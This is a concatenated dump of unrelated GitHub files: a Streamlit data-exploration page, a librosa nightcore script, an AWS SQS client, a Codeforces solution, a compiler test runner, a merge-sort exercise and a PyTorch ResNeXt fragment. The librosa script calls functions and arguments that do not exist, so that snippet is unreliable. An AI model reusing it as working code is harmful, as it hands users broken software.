col1_compare_scatterplot_1, col2_compare_scatterplot_1 = st.columns([1,1])\r\n with col1_compare_scatterplot_1:\r\n select_dataset_1 = st.selectbox(\"Select the first dataset to compare\", st.session_state['dataset'])\r\n with col2_compare_scatterplot_1:\r\n select_dataset_2 = st.selectbox(\"Select the second dataset to compare\", st.session_state['dataset'])\r\n\r\n elif compare == 'Three graphs':\r\n col1_compare_scatterplot_1, col2_compare_scatterplot_1, col3_compare_scatterplot_1 = st.columns([1,1,1])\r\n with col1_compare_scatterplot_1:\r\n select_dataset_1 = st.selectbox(\"Select the first dataset to compare\", st.session_state['dataset'])\r\n with col2_compare_scatterplot_1:\r\n select_dataset_2 = st.selectbox(\"Select the second dataset to compare\", st.session_state['dataset'])\r\n with col3_compare_scatterplot_1:\r\n select_dataset_3 = st.selectbox(\"Select the third dataset to compare\", st.session_state['dataset'])\r\n\r\n if compare == 'Two graphs':\r\n col1_compare_scatterplot_2, col2_compare_scatterplot_2 = st.columns([1,1])\r\n with col1_compare_scatterplot_2:\r\n x_var_dataset_1 = st.selectbox(\"Select the X axis variable in first dataset\", st.session_state[select_dataset_1].columns)\r\n y_var_dataset_1 = st.selectbox(\"Select the Y axis variable in first dataset\", st.session_state[select_dataset_1].columns)\r\n var_color_dataset_1 = st.selectbox(\"Select color division in first dataset\", st.session_state[select_dataset_1].columns)\r\n with col2_compare_scatterplot_2:\r\n x_var_dataset_2 = st.selectbox(\"Select the X axis variable in second dataset\", st.session_state[select_dataset_2].columns)\r\n y_var_dataset_2 = st.selectbox(\"Select the Y axis variable in second dataset\", st.session_state[select_dataset_2].columns)\r\n var_color_dataset_2 = st.selectbox(\"Select color division in second dataset\", st.session_state[select_dataset_2].columns)\r\n \r\n\r\n elif compare == 'Three graphs':\r\n col1_compare_scatterplot_2, col2_compare_scatterplot_2, col3_compare_scatterplot_2 = st.columns([1,1,1])\r\n with col1_compare_scatterplot_2:\r\n x_var_dataset_1 = st.selectbox(\"Select the X axis variable in first dataset\", st.session_state[select_dataset_1].columns)\r\n y_var_dataset_1 = st.selectbox(\"Select the Y axis variable in first dataset\", st.session_state[select_dataset_1].columns)\r\n var_color_dataset_1 = st.selectbox(\"Select color division in first dataset\", st.session_state[select_dataset_1].columns)\r\n with col2_compare_scatterplot_2:\r\n x_var_dataset_2 = st.selectbox(\"Select the X axis variable in second dataset\", st.session_state[select_dataset_2].columns)\r\n y_var_dataset_2 = st.selectbox(\"Select the Y axis variable in second dataset\", st.session_state[select_dataset_2].columns)\r\n var_color_dataset_2 = st.selectbox(\"Select color division in second dataset\", st.session_state[select_dataset_2].columns)\r\n with col3_compare_scatterplot_2:\r\n x_var_dataset_3 = st.selectbox(\"Select the X axis variable in third dataset\", st.session_state[select_dataset_3].columns)\r\n y_var_dataset_3 = st.selectbox(\"Select the Y axis variable in third dataset\", st.session_state[select_dataset_3].columns)\r\n var_color_dataset_3 = st.selectbox(\"Select color division in third dataset\", st.session_state[select_dataset_3].columns)\r\n\r\n col1_color_palette_1, col2_color_palette_1, col3_color_palette_1 = st.columns([0.2,0.2,1])\r\n with col1_color_palette_1:\r\n color_palette_1 = st.color_picker('Color to min value', '#00FF00')\r\n with col2_color_palette_1:\r\n color_palette_2 = st.color_picker('Color to max value', '#FF0000')\r\n\r\n show_me_graph_compare = st.checkbox(\"Show me\", key='show_me_graph_compare')\r\n if show_me_graph_compare:\r\n if compare == 'Two graphs':\r\n col1_graph_compare_scatterplot, col2_graph_compare_scatterplot = st.columns([1,1])\r\n with col1_graph_compare_scatterplot:\r\n fig = px.scatter(st.session_state[select_dataset_1], x=x_var_dataset_1, y=y_var_dataset_1, color=var_color_dataset_1, color_continuous_scale=[(0,color_palette_1), (1, color_palette_2)])\r\n st.plotly_chart(fig, use_container_width=True)\r\n with col2_graph_compare_scatterplot:\r\n fig = px.scatter(st.session_state[select_dataset_2], x=x_var_dataset_2, y=y_var_dataset_2, color=var_color_dataset_2, color_continuous_scale=[(0,color_palette_1), (1, color_palette_2)])\r\n st.plotly_chart(fig, use_container_width=True)\r\n \r\n elif compare == 'Three graphs':\r\n col1_graph_compare_scatterplot, col2_graph_compare_scatterplot, col3_graph_compare_scatterplot = st.columns([1,1,1])\r\n with col1_graph_compare_scatterplot:\r\n fig = px.scatter(st.session_state[select_dataset_1], x=x_var_dataset_1, y=y_var_dataset_1, color=var_color_dataset_1, color_continuous_scale=[(0,color_palette_1), (1, color_palette_2)])\r\n st.plotly_chart(fig, use_container_width=True)\r\n with col2_graph_compare_scatterplot:\r\n fig = px.scatter(st.session_state[select_dataset_2], x=x_var_dataset_2, y=y_var_dataset_2, color=var_color_dataset_2, color_continuous_scale=[(0,color_palette_1), (1, color_palette_2)])\r\n st.plotly_chart(fig, use_container_width=True)\r\n with col3_graph_compare_scatterplot:\r\n fig = px.scatter(st.session_state[select_dataset_3], x=x_var_dataset_3, y=y_var_dataset_3, color=var_color_dataset_3, color_continuous_scale=[(0,color_palette_1), (1, color_palette_2)])\r\n st.plotly_chart(fig, use_container_width=True)\r\n\r\n with st.expander(\"Visualize missing values (NaN)\", expanded=False):\r\n\r\n optionDataset = st.selectbox(\r\n 'Select the dataset',\r\n (st.session_state['dataset']), key='optionDataset_missing')\r\n\r\n if optionDataset:\r\n\r\n col1, col2 = st.columns([0.2,0.8])\r\n with col1:\r\n select_or_all_vars_missing_value_graph = st.selectbox(\"Select variables?\", ['None','Yes','No, show me all'])\r\n with col2:\r\n if select_or_all_vars_missing_value_graph == 'Yes':\r\n select_vars_missing_value_graph = st.multiselect(\"Select the variables\", st.session_state[optionDataset].columns)\r\n\r\n button_missing_value_graph = st.button(\"Apply\", key='button_missing_value_graph')\r\n if button_missing_value_graph:\r\n if select_or_all_vars_missing_value_graph != 'None':\r\n with st.spinner('Wait for it...'):\r\n #col1, col2 = st.columns([1,1])\r\n #with col1:\r\n # width = st.slider(\"plot width\", 1, 25, 3)\r\n #with col2:\r\n # height = st.slider(\"plot height\", 1, 25, 1)\r\n if select_or_all_vars_missing_value_graph == 'Yes':\r\n fig, ax = plt.subplots(figsize=(20, 5))\r\n ax = sns.heatmap(st.session_state[optionDataset][select_vars_missing_value_graph].isnull(), yticklabels = False, cbar = False, cmap = 'viridis')\r\n ax.axes.set_title(\"Missing values\", fontsize = 20)\r\n st.pyplot(fig)\r\n elif select_or_all_vars_missing_value_graph == 'No, show me all':\r\n fig, ax = plt.subplots(figsize=(20, 5))\r\n ax = sns.heatmap(st.session_state[optionDataset].isnull(), yticklabels = False, cbar = False, cmap = 'viridis')\r\n ax.axes.set_title(\"Missing values\", fontsize = 20)\r\n st.pyplot(fig)\r\n else:\r\n st.warning(\"Insert option!\")\r\n\r\n else:\r\n st.write(\"There is no Dataset loaded\")\r\n\r\n with st.expander(\"Visualize binary values (1 and 0)\", expanded=False):\r\n\r\n optionDataset = st.selectbox(\r\n 'Select the dataset',\r\n (st.session_state['dataset']), key='optionDataset_binary')\r\n\r\n if optionDataset:\r\n\r\n list_vars_binary = []\r\n for col in st.session_state[optionDataset].columns:\r\n if len(st.session_state[optionDataset][col].value_counts()) <= 2:\r\n list_values = list(st.session_state[optionDataset][col].value_counts().index)\r\n if 0 in list_values or 1 in list_values:\r\n list_vars_binary.append(col)\r\n\r\n st.write(\r\n f\"\"\"\r\n - **Variables:** {\", \".join(list_vars_binary)}\r\n \"\"\"\r\n )\r\n st.write(\"\")\r\n\r\n if len(list_vars_binary) > 0:\r\n\r\n col1, col2 = st.columns([0.2,0.8])\r\n with col1:\r\n select_or_all_vars_binary_value_graph = st.selectbox(\"Select variables?\", ['None','Yes','No, show me all'], key='select_or_all_vars_binary_value_graph')\r\n with col2:\r\n if select_or_all_vars_binary_value_graph == 'Yes':\r\n select_vars_binary_value_graph = st.multiselect(\"Select the variables\", st.session_state[optionDataset][list_vars_binary].columns, key='select_vars_binary_value_graph')\r\n\r\n button_binary_value_graph = st.button(\"Apply\", key='button_binary_value_graph')\r\n if button_binary_value_graph:\r\n if select_or_all_vars_binary_value_graph != 'None':\r\n with st.spinner('Wait for it...'):\r\n #col1, col2 = st.columns([1,1])\r\n #with col1:\r\n # width = st.slider(\"plot width\", 1, 25, 3)\r\n #with col2:\r\n # height = st.slider(\"plot height\", 1, 25, 1)\r\n st.info(\"Values ​​equal to 1 are in yellow\")\r\n #col1, col2 = st.columns([0.7,0.3])\r\n #with col1:\r\n if select_or_all_vars_binary_value_graph == 'Yes':\r\n fig, ax = plt.subplots()\r\n ax = sns.heatmap(st.session_state[optionDataset][select_vars_binary_value_graph] == 1, yticklabels = False, cbar = False, cmap = 'viridis')\r\n ax.axes.set_title(\"Binary values\", fontsize = 20)\r\n st.pyplot(fig) \r\n elif select_or_all_vars_binary_value_graph == 'No, show me all':\r\n fig, ax = plt.subplots()\r\n ax = sns.heatmap(st.session_state[optionDataset][list_vars_binary] == 1, yticklabels = False, cbar = False, cmap = 'viridis')\r\n ax.axes.set_title(\"Binary values\", fontsize = 20)\r\n st.pyplot(fig) \r\n else:\r\n st.warning(\"Insert option!\")\r\n else:\r\n st.write(\"There is no binary variable\")\r\n\r\n else:\r\n st.write(\"There is no Dataset loaded\")\r\n\r\n with st.expander(\"Visualize categorical count of values\", expanded=False):\r\n\r\n optionDataset = st.selectbox(\r\n 'Select the dataset',\r\n (st.session_state['dataset']), key='optionDataset_category')\r\n\r\n if optionDataset:\r\n\r\n col1, col2 = st.columns([0.2,0.8])\r\n with col1:\r\n select_max_category_number = st.number_input(\"Maximum number of unique values\", value=1, step=1, min_value=1)\r\n\r\n list_vars_category = []\r\n for col in st.session_state[optionDataset].columns:\r\n if len(st.session_state[optionDataset][col].value_counts()) <= select_max_category_number:\r\n #list_values = list(st.session_state[optionDataset][col].value_counts().index)\r\n #if 0 in list_values or 1 in list_values:\r\n list_vars_category.append(col)\r\n\r\n st.write(\r\n f\"\"\"\r\n - **Variables:** {\", \".join(list_vars_category)}\r\n \"\"\"\r\n )\r\n st.write(\"\")\r\n\r\n if len(list_vars_category) > 0:\r\n\r\n col1, col2 = st.columns([0.2,0.8])\r\n with col1:\r\n select_or_all_vars_category_value_graph = st.selectbox(\"Select variables?\", ['None','Yes','No, show me all'], key='select_or_all_vars_category_value_graph')\r\n with col2:\r\n if select_or_all_vars_category_value_graph == 'Yes':\r\n select_vars_category_value_graph = st.multiselect(\"Select the variables\", st.session_state[optionDataset][list_vars_category].columns, key='select_vars_category_value_graph')\r\n\r\n button_category_value_graph = st.button(\"Apply\", key='button_category_value_graph')\r\n if button_category_value_graph:\r\n if select_or_all_vars_category_value_graph != 'None':\r\n with st.spinner('Wait for it...'):\r\n #col1, col2 = st.columns([1,1])\r\n #with col1:\r\n # width = st.slider(\"plot width\", 1, 25, 3)\r\n #with col2:\r\n # height = st.slider(\"plot height\", 1, 25, 1)\r\n #st.info(\"Values equal to 1 are in yellow\")\r\n #col1, col2 = st.columns([0.7,0.3])\r\n #with col1:\r\n if select_or_all_vars_category_value_graph == 'Yes':\r\n counts = st.session_state[optionDataset][select_vars_category_value_graph].apply(pd.value_counts)\r\n sns.heatmap(counts)\r\n st.pyplot()\r\n #fig, ax = plt.subplots()\r\n #ax = sns.heatmap(st.session_state[optionDataset][select_vars_category_value_graph] == 1, yticklabels = False, cbar = False, cmap = 'viridis')\r\n #ax.axes.set_title(\"Binary values\", fontsize = 20)\r\n \r\n elif select_or_all_vars_category_value_graph == 'No, show me all':\r\n counts = st.session_state[optionDataset][list_vars_category].apply(pd.value_counts)\r\n sns.heatmap(counts)\r\n st.pyplot()\r\n #fig, ax = plt.subplots()\r\n #ax = sns.heatmap(st.session_state[optionDataset][list_vars_binary] == 1, yticklabels = False, cbar = False, cmap = 'viridis')\r\n #ax.axes.set_title(\"Binary values\", fontsize = 20)\r\n \r\n else:\r\n st.warning(\"Insert option!\")\r\n else:\r\n st.write(\"There is no categorical variable\")\r\n\r\n with st.expander(\"Compare distribution with violin chart\", expanded=False):\r\n\r\n optionDataset = st.selectbox(\r\n 'Select the dataset',\r\n (st.session_state['dataset']), key='optionDataset_violinplot')\r\n\r\n if optionDataset:\r\n\r\n cols_numerical_violinplot = list(st.session_state[optionDataset].select_dtypes(include=[np.number]).columns)\r\n\r\n st.write(\r\n f\"\"\"\r\n - **Numeric variables:** {\", \".join(cols_numerical_violinplot)}\r\n \"\"\"\r\n )\r\n st.write(\"\")\r\n\r\n if len(cols_numerical_violinplot) > 0:\r\n\r\n col1, col2 = st.columns([0.2,0.8])\r\n with col1:\r\n select_or_all_vars_violinplot = st.selectbox(\"Select variables?\", ['None','Yes','No, show me all'], key='select_or_all_vars_violinplot')\r\n with col2:\r\n if select_or_all_vars_violinplot == 'Yes':\r\n select_vars_violinplot = st.multiselect(\"Select the variables\", st.session_state[optionDataset][cols_numerical_violinplot].columns, key='select_vars_violinplot')\r\n \r\n col1, col2 = st.columns([0.2,0.8])\r\n with col1:\r\n select_target_violinplot = st.selectbox(\"Select the target variable\", st.session_state[optionDataset].columns)\r\n\r\n button_violinplot = st.button(\"Apply\", key='button_violinplot')\r\n if button_violinplot:\r\n if select_or_all_vars_violinplot != 'None':\r\n with st.spinner('Wait for it...'):\r\n #col1, col2 = st.columns([1,1])\r\n #with col1:\r\n # width = st.slider(\"plot width\", 1, 25, 3)\r\n #with col2:\r\n # height = st.slider(\"plot height\", 1, 25, 1)\r\n #st.info(\"Values equal to 1 are in yellow\")\r\n #col1, col2 = st.columns([0.7,0.3])\r\n #with col1:\r\n if select_or_all_vars_violinplot == 'Yes':\r\n if not select_target_violinplot in select_vars_violinplot:\r\n select_vars_violinplot.append(select_target_violinplot)\r\n #st.write(select_vars_violinplot)\r\n from sklearn import preprocessing\r\n scaler = preprocessing.StandardScaler()\r\n df_std = scaler.fit_transform(st.session_state[optionDataset][select_vars_violinplot].drop(select_target_violinplot,axis=1))\r\n df_std = pd.DataFrame(df_std, columns=st.session_state[optionDataset][select_vars_violinplot].drop(select_target_violinplot,axis=1).columns)\r\n df_std = pd.concat([df_std, st.session_state[optionDataset][select_target_violinplot]],axis=1)\r\n\r\n df_melt = pd.melt(df_std, id_vars=select_target_violinplot, var_name=\"Variable\", value_name=\"Values\")\r\n sns.violinplot(x=\"Variable\", y=\"Values\", hue=select_target_violinplot, data=df_melt, split=True)\r\n plt.xticks(rotation = 90)\r\n st.pyplot()\r\n #fig, ax = plt.subplots()\r\n #ax = sns.heatmap(st.session_state[optionDataset][select_vars_category_value_graph] == 1, yticklabels = False, cbar = False, cmap = 'viridis')\r\n #ax.axes.set_title(\"Binary values\", fontsize = 20)\r\n \r\n elif select_or_all_vars_violinplot == 'No, show me all':\r\n if not select_target_violinplot in cols_numerical_violinplot:\r\n cols_numerical_violinplot.append(select_target_violinplot)\r\n #st.write(cols_numerical_violinplot)\r\n from sklearn import preprocessing\r\n scaler = preprocessing.StandardScaler()\r\n df_std = scaler.fit_transform(st.session_state[optionDataset][cols_numerical_violinplot].drop(select_target_violinplot,axis=1))\r\n df_std = pd.DataFrame(df_std, columns=st.session_state[optionDataset][cols_numerical_violinplot].drop(select_target_violinplot,axis=1).columns)\r\n df_std = pd.concat([df_std, st.session_state[optionDataset][select_target_violinplot]],axis=1)\r\n\r\n df_melt = pd.melt(df_std, id_vars=select_target_violinplot, var_name=\"Variable\", value_name=\"Values\")\r\n sns.violinplot(x=\"Variable\", y=\"Values\", hue=select_target_violinplot, data=df_melt, split=True)\r\n plt.xticks(rotation = 90)\r\n st.pyplot()\r\n #fig, ax = plt.subplots()\r\n #ax = sns.heatmap(st.session_state[optionDataset][list_vars_binary] == 1, yticklabels = False, cbar = False, cmap = 'viridis')\r\n #ax.axes.set_title(\"Binary values\", fontsize = 20)\r\n \r\n else:\r\n st.warning(\"Insert option!\")\r\n else:\r\n st.write(\"There is no numeric variable\")\r\n\r\n with st.expander(\"Variable stability\", expanded=False):\r\n\r\n col1, col2, col3 = st.columns([1,1,1])\r\n with col1:\r\n optionDataset = st.selectbox(\r\n 'Select the dataset',\r\n (st.session_state['dataset']), key='optionDataset_stability')\r\n\r\n cols_stability_chart = list(st.session_state[optionDataset].columns)\r\n cols_stability_chart.insert(0, 'None')\r\n\r\n st.write(\"---------------\")\r\n\r\n if optionDataset:\r\n \r\n col1, col2, col3 = st.columns([1,1,1])\r\n with col1:\r\n var_dt = st.selectbox(\"Input the date variable\", cols_stability_chart)\r\n with col2:\r\n var_y = st.selectbox(\"Input the y-axis variable\", cols_stability_chart)\r\n with col3:\r\n var_color = st.selectbox(\"Input the category variable\", cols_stability_chart) \r\n\r\n show_graph_stability_1 = st.checkbox(\"Show graph\")\r\n if show_graph_stability_1:\r\n if var_dt != 'None':\r\n if var_y != 'None':\r\n if var_color == 'None':\r\n df_stability_1 = pd.DataFrame(st.session_state[optionDataset].groupby([var_dt], as_index=False)[var_y].sum())\r\n df_stability_1[var_dt] = pd.to_datetime(df_stability_1[var_dt], format=\"%Y-%m-%d\")\r\n df_stability_1['year'] = df_stability_1[var_dt].dt.year\r\n df_stability_1['month'] = df_stability_1[var_dt].dt.month\r\n df_stability_1['day'] = df_stability_1[var_dt].dt.day\r\n\r\n format = 'MMM DD, YYYY'\r\n month_day_min = df_stability_1[df_stability_1['year'] == df_stability_1['year'].min()]\r\n day_min = month_day_min[month_day_min['month'] == month_day_min['month'].min()]['day'].min()\r\n month_day_max = df_stability_1[df_stability_1['year'] == df_stability_1['year'].max()]\r\n day_max = month_day_max[month_day_max['month'] == month_day_max['month'].max()]['day'].max()\r\n start_date = dt.date(year=df_stability_1['year'].min(),month=df_stability_1[df_stability_1['year'] == df_stability_1['year'].min() ]['month'].min(),day=day_min)\r\n end_date = dt.date(year=df_stability_1['year'].max(),month=df_stability_1[df_stability_1['year'] == df_stability_1['year'].max() ]['month'].max(),day=day_max)\r\n max_days = end_date-start_date\r\n\r\n col1, col2, col3 = st.columns([0.05, 0.9, 0.05])\r\n with col2:\r\n range_dt = st.slider(\"\",start_date,end_date, (start_date,end_date), format=format)\r\n\r\n fig = px.line(df_stability_1, x=var_dt, y=var_y, range_x=[range_dt[0],range_dt[1]])\r\n st.plotly_chart(fig, use_container_width=True)\r\n else:\r\n df_stability_1 = pd.DataFrame(st.session_state[optionDataset].groupby([var_dt, var_color], as_index=False)[var_y].sum())\r\n df_stability_1[var_dt] = pd.to_datetime(df_stability_1[var_dt], format=\"%Y-%m-%d\")\r\n df_stability_1['year'] = df_stability_1[var_dt].dt.year\r\n df_stability_1['month'] = df_stability_1[var_dt].dt.month\r\n df_stability_1['day'] = df_stability_1[var_dt].dt.day\r\n\r\n format = 'MMM DD, YYYY'\r\n month_day_min = df_stability_1[df_stability_1['year'] == df_stability_1['year'].min()]\r\n day_min = month_day_min[month_day_min['month'] == month_day_min['month'].min()]['day'].min()\r\n month_day_max = df_stability_1[df_stability_1['year'] == df_stability_1['year'].max()]\r\n day_max = month_day_max[month_day_max['month'] == month_day_max['month'].max()]['day'].max()\r\n start_date = dt.date(year=df_stability_1['year'].min(),month=df_stability_1[df_stability_1['year'] == df_stability_1['year'].min() ]['month'].min(),day=day_min)\r\n end_date = dt.date(year=df_stability_1['year'].max(),month=df_stability_1[df_stability_1['year'] == df_stability_1['year'].max() ]['month'].max(),day=day_max)\r\n max_days = end_date-start_date\r\n\r\n col1, col2, col3 = st.columns([0.05, 0.9, 0.05])\r\n with col2:\r\n range_dt = st.slider(\"\",start_date,end_date, (start_date,end_date), format=format)\r\n\r\n fig = px.line(df_stability_1, x=var_dt, y=var_y, color=var_color, range_x=[range_dt[0],range_dt[1]])\r\n st.plotly_chart(fig, use_container_width=True)\r\n else:\r\n st.warning(\"Insert the y-axis variable!\")\r\n else:\r\n st.warning(\"Insert the date variable!\")\r\n\r\n\r\n\r\n\r\n else:\r\n st.warning(\"There is no Dataset loaded\")\r\n\r\n # -----------------------------------------------------------------------------------------------------------\r\n\r\n if appSelectionSubCat == 'Data Reports':\r\n page_EDA_profile_and_sweetviz()\r\n\r\n elif appSelectionSubCat == 'Summary and Statistics':\r\n page_EDA_summary_statistics()\r\n\r\n elif appSelectionSubCat == 'Special Charts':\r\n page_EDA_special_charts()\r\n\r\n elif appSelectionSubCat == 'Home':\r\n\r\n st.image(Image.open('images/image5.png'), width=300)\r\n\r\n if st.session_state['have_dataset']:\r\n\r\n DatasetshowMeHome = st.selectbox(\r\n 'Select a base', (st.session_state['dataset']))\r\n\r\n st.write(\r\n f\"\"\"\r\n\r\n Exploratory Data Analysis (EDA) :mag:\r\n ---------------\r\n - **There is dataset loaded?** {'Yes' if st.session_state.have_dataset else 'No'}\r\n - **Dataset rows**: {st.session_state[DatasetshowMeHome].shape[0] if st.session_state.have_dataset else None}\r\n - **Dataset columns**: {st.session_state[DatasetshowMeHome].shape[1] if st.session_state.have_dataset else None}\r\n \"\"\"\r\n )","repo_name":"Lucasc27/dataapp_v1","sub_path":"modules/exploratory_data_analysis.py","file_name":"exploratory_data_analysis.py","file_ext":"py","file_size_in_byte":62958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23252517673","text":"import librosa\r\n\r\n# Load the audio file\r\naudio_file = librosa.load(\"askinolayim.mp3\")\r\n\r\n# Extract the audio features\r\ntempo = librosa.beat.tempo(audio_file, sr=44100)\r\npitch = librosa.feature.spectral_pitch(audio_file, sr=44100)[0]\r\n\r\n# Increase the tempo\r\nnew_tempo = tempo * 1.2\r\n\r\n# Change the pitch\r\nnew_pitch = pitch * 1.2\r\n\r\n# Save the new audio file\r\nlibrosa.output.write_wav(\"askin_olayim_nightcore.wav\", audio_file, sr=44100, tempo=new_tempo, pitch=new_pitch)\r\n","repo_name":"ituitis20-teke19/signal","sub_path":"nightcore.py","file_name":"nightcore.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21876805819","text":"import os\n\nimport boto3\n\n\nclass S3Client:\n def __init__(self):\n self.queue = os.getenv('AWS_QUEUE_URL')\n self.client = boto3.client(\n service_name='sqs',\n endpoint_url=self.queue,\n region_name=os.getenv('S3_REGION'),\n aws_access_key_id=os.getenv('S3_ACCESS_KEY'),\n aws_secret_access_key=os.getenv('S3_SECRET_ACCESS_KEY')\n )\n\n def get_messages_from_queue(self, count=10):\n return self.client.receive_message(\n QueueUrl=self.queue,\n MaxNumberOfMessages=count,\n VisibilityTimeout=60,\n WaitTimeSeconds=20\n ).get('Messages')\n\n def delete_message_from_queue(self, message):\n self.client.delete_message(\n QueueUrl=self.queue,\n ReceiptHandle=message.get('ReceiptHandle')\n )","repo_name":"gorilazzz777/tariff_manager_super_new","sub_path":"src/services_api/api/s3client.py","file_name":"s3client.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23859725998","text":"n = int(input())\narrb = [0] * n\ncount = 0\narr = list(map(int, input().split()))\narr2 = list(map(int, input().split()))\n'''for k in range(jkj):\n if arr1000[k] == 1:\n arrb[k] += 1\ngg = sum(arrb)'''\nfor a, b in zip(arr, arr2):\n if a == 1 and b == 0:\n count += 1\nif count == 0 and sum(arr2) >= sum(arr):\n print(\"-1\")\n exit()\n\nif sum(arr) == count:\n ab = sum(arr2) + 1\n if ab % count == 0:\n f = ab // count\n else:\n f = (ab // count) + 1\n print(f)\nelif sum(arr) > sum(arr2):\n print(1)\nelif sum(arr) == sum(arr2):\n print(2)\nelse:\n ab = sum(arr2) - sum(arr) + count\n if ab % count == 0:\n f = ab // count\n else:\n f = (ab // count) + 1\n print(f)\n\n# _\n# _._ _..._ .-', _.._(`))\n# '-. ` ' /-._.-' ',/\n# ) \\ '.\n# / _ _ | \\\n# | arr arr / |\n# \\ .-. ;\n# '-('' ).-' ,' ;\n# '-; | .'\n# \\ \\ /\n# | 7 .__ _.-\\ \\\n# | | | ``/ /` /\n# /,_| | /,_/ /\n# /,_/ '`-'\n\n","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/Codeforces/Contest for Robots.py","file_name":"Contest for Robots.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24011536081","text":"#!/usr/bin/env python3\n\nimport subprocess as sp\nimport os\nimport sys\n\nMAIN_FILE_PATH = os.path.join('.', 'cmd', 'compiler', 'compiler.go')\n\n\nEMULATOR = os.path.join('emulators', 'CPUEmulator' + ('.sh' if os.name == 'posix' else '.bat'))\n\ndef test_outputs(chapters):\n for chapter in [os.path.join('tests', chap) for chap in chapters]:\n for category in os.listdir(chapter):\n for test in os.listdir(os.path.join(chapter, category)):\n test_dir = os.path.join(chapter, category, test, '')\n sp.run(['go', 'run', MAIN_FILE_PATH, test_dir])\n os.replace(test + '.asm', test_dir + test + '.asm')\n out = sp.run([EMULATOR, test_dir + test + '.tst'], capture_output=True)\n print(\"\")\n if out.stdout.decode(\"utf-8\").startswith(\"End of script - Comparison ended successfully\"):\n print(f\"Test {test} ran correctly on the emulator\")\n else:\n print(f\"Test {test} had issues\")\n print(out.stderr.decode(\"utf-8\"))\n\n\ndef test_compiler():\n print(\"testing compiler\")\n try:\n sp.run(['go', 'test', '-v', './...'], check=True)\n except:\n print(\"tests failed\")\n exit()\n print(\"tests succesful\")\n\n\ndef main():\n chapters = sys.argv[1:] if len(sys.argv) > 1 else ['7', '8']\n test_compiler()\n test_outputs(chapters)\n\nif __name__ == '__main__':\n main()\n","repo_name":"ronibuchine/jack-jack-go","sub_path":"tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32726487723","text":"def merge(arr, start, end):\n if start == end:\n # print(start)\n return [start]\n else:\n mid = (start + end) // 2\n a = merge(arr, start, mid)\n b = merge(arr, mid + 1, end)\n # print(a, b, 'start', start, end)\n\n ai, bi, al, bl = 0, 0, len(a), len(b)\n \n cur = 0\n newarr = [None] * (end-start+1)\n\n while ai != al and bi != bl:\n left = arr[a[ai]]\n right = arr[b[bi]]\n # print('lr', left, right, 'aibi', ai, bi, al, bl)\n\n if left >= right:\n newarr[cur] = b[bi]\n bi += 1\n else:\n newarr[cur] = a[ai]\n ai += 1\n cur += 1\n\n # print(cur, ai, bi)\n if ai != al:\n while ai != al:\n newarr[cur] = a[ai]\n cur += 1\n ai += 1\n else:\n while bi != bl:\n newarr[cur] = b[bi]\n cur += 1\n bi += 1\n return newarr\n\nfor T in range(int(input())):\n N, M = map(int, input().split())\n wi = [*map(int, input().split())]\n ti = [*map(int, input().split())]\n\n result = 0\n\n wi_Sorted = [wi[i] for i in merge(wi, 0, N-1)]\n ti_Sorted = [ti[i] for i in merge(ti, 0, M-1)]\n # print(wi_Sorted, ti_Sorted)\n\n windex = N-1\n tindex = M-1\n\n while tindex >= 0:\n # print(windex, tindex)\n if ti_Sorted[tindex] >= wi_Sorted[windex]:\n result += wi_Sorted[windex]\n windex -= 1\n tindex -= 1\n else:\n windex -= 1\n\n if windex < 0:\n break\n\n print('#', end='')\n print(T+1, result)","repo_name":"ghleokim/algorithm","sub_path":"190925/swea_5201_conainer.py","file_name":"swea_5201_conainer.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31422222458","text":"import torch\r\nfrom torch.autograd import Variable\r\nfrom torchvision import transforms\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nfrom torchvision.datasets import ImageFolder\r\nimport torchvision\r\n\r\nimport torch.optim as optim\r\n#BATCH_SIZE = 64\r\nimport torch.nn.functional as F\r\nimport time\r\n\r\n\r\nimport torch.nn as nn\r\n\r\nfrom collections import OrderedDict\r\n\r\nfrom torch.autograd import Variable\r\n\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\n\r\nclass Block(nn.Module):\r\n growth = 2\r\n\r\n def __init__(self, inputs, cardinality=32, block_width=4, stride=1):\r\n super(Block, self).__init__()\r\n outs = cardinality*block_width\r\n self.left = nn.Sequential(\r\n nn.Conv2d(inputs, outs, kernel_size=1, bias=False),\r\n nn.BatchNorm2d(outs),\r\n nn.ReLU(),\r\n nn.Conv2d(outs, outs, kernel_size=3, stride=stride, padding=1, groups=cardinality, bias=False),\r\n nn.BatchNorm2d(outs),\r\n nn.ReLU(),\r\n nn.Conv2d(outs, self.growth * outs, kernel_size=1, bias=False),\r\n nn.BatchNorm2d(self.growth * outs)\r\n )\r\n\r\n self.shortcut = nn.Sequential()\r\n if stride != 1 or inputs != self.growth * outs:\r\n self.shortcut = nn.Sequential(\r\n nn.Conv2d(inputs, self.growth * outs, kernel_size=1, stride=stride, bias=False),\r\n nn.BatchNorm2d(self.growth * outs)\r\n )\r\n\r\n def forward(self, inputs):\r\n network = self.left(inputs)\r\n network += self.shortcut(inputs)\r\n out = F.relu(network)\r\n return out\r\n\r\n\r\nclass ResnextNet(nn.Module):\r\n def __init__(self, layers, cardinality, block_width):\r\n super(ResnextNet, self).__init__()\r\n self.inputs = 64\r\n self.cardinality = cardinality\r\n self.block_width = block_width\r\n\r\n self.conv11 = nn.Sequential(\r\n nn.Conv2d(in_channels=1, out_channels=64, kernel_size=1, padding=1, stride=1, bias=False),\r\n nn.BatchNorm2d(64),\r\n nn.ReLU(),\r\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=3, padding=1, stride=2, bias=False),\r\n nn.BatchNorm2d(64),\r\n nn.ReLU(),\r\n nn.Conv2d(in_channels=64, out_channels=64, 